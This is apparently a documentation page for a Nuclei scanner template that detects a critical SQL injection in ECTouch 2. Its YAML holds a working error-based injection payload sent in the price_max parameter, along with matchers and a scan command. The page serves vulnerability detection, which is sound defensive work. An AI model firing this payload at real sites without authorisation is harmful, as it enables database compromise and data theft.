ECTouch 2 - SQL Injection
ID: etouch-v2-sqli
Severity: critical
Author: princechaddha
Tags: etouch,sqli
Description
Section titled “Description”ECTouch 2 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
YAML Source
Section titled “YAML Source”id: etouch-v2-sqli
info: name: ECTouch 2 - SQL Injection author: princechaddha severity: critical description: ECTouch 2 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. reference: - https://github.com/mstxq17/CodeCheck/ - https://www.anquanke.com/post/id/168991 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-89 metadata: max-request: 1 tags: etouch,sqlivariables: num: "999999999"
http: - method: GET path: - "{{BaseURL}}/upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5({{num}}),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)''"
matchers-condition: and matchers: - type: status status: - 200
- type: word words: - '{{md5({{num}})}}' part: body# digest: 4b0a00483046022100bfdaaecd0075d86af9e7e92dce1011ea7ec4bb138cbc1406c769137c5233af75022100cddc8c42af330393698c2a61648f1ad469d47ba89b5e86c2d324bcc2368b541c:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/etouch-v2-sqli.yaml"